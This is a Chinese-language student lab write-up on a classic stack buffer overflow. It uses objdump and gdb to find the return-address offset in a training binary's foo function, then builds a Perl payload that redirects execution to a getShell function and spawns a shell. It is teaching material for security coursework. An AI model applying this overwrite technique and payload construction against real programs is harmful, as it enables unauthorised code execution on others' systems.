利用foo函數的Bof漏洞攻擊
利用foo函數的Bof漏洞攻擊
一、基礎知識儲備
objdump
反匯編指令、gdb
函數調試運行、Perl
語言、|
管道符
二、實驗步驟
1. 通過反匯編了解程序功能及代碼
①反匯編查看文件內容
②可以知道getShell
函數地址為0804847d
③可知foo
函數執行完成之後,系統會調用的下一條指令的地址為80484ba
,此地址為返回地址
我們要做的就是通過foo
函數的Bof
漏洞輸入一段設計好的字符串覆蓋掉80484ba
,使得80484ba
的值為0804847d
,這樣就會執行getshell
函數。
2. 確定輸入的哪幾個字符會覆蓋返回地址
2.1調試運行程序 gdb
通過輸入gdb 20154305
指令調試程序,再輸入r
2.2 輸入一串字符大致確定覆蓋位置
④程序運行後我們輸入字符串111111112222222233333333444444445555555566666666
⑤程序出現分段錯誤,0x35353535 in ?? ()
,意思是這個地址的指令錯誤
此時我們通過info r
查看寄存器信息
⑥顯示出eip
指令寄存器存儲的地址為0x35353535
,此ASCII值代表5555
⑦也可以通過info r eip
指令直接顯示指令寄存器存儲的地址。
5555
則可以知道我們輸入的字符串從55555555
開始溢出,但是還不確定是哪四個5
2.3 進一步確定覆蓋位置
繼續調試運行20154305
文件
⑧輸入字符串`1111111122222222333333334444444412345678‘產生溢出錯誤
⑨查看指令寄存器eip
內的值為0x34333231
,表示4321
。
由此可知,我們輸入的字符串1111111122222222333333334444444412345678
中的1234
覆蓋了返回地址的值
所以接下來我們需要修改1234
的值為0804847d
進行覆蓋
3. 構造輸入字符串
3.1 確定字符串輸入順序
就是需要輸入11111111222222223333333344444444\x08\x04\x84\x7d
,還是輸入11111111222222223333333344444444\x7d\x84\x04\x08
由⑨可以知道小字節優先,應該輸入11111111222222223333333344444444\x7d\x84\x04\x08
3.2 構造輸入字符串
由為我們沒法通過鍵盤輸入\x7d\x84\x04\x08
這樣的16進制值,所以先生成包括這樣字符串的一個文件。
鍵入perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input
\x0a
表示回車。
可以通過xxd
查看文件十六進制格式的內容。
3.3 然後將input的輸入,通過管道符“|”,作為20154305的輸入,覆蓋返回地址
(cat input; cat) | ./20154305
此時我們就可以輸入Shell
指令了
箭頭11
的ls
就是Shell
指令。
到此通過利用foo的B
of漏洞攻擊已經完成。###
三、實驗總結
利用緩沖區溢出的漏洞攻擊比較難的地方是如何確定輸入的哪些字符串會覆蓋返回地址,以及如何通過管道輸入,有些新的知識需要我這個小白消化理解。
利用foo函數的Bof漏洞攻擊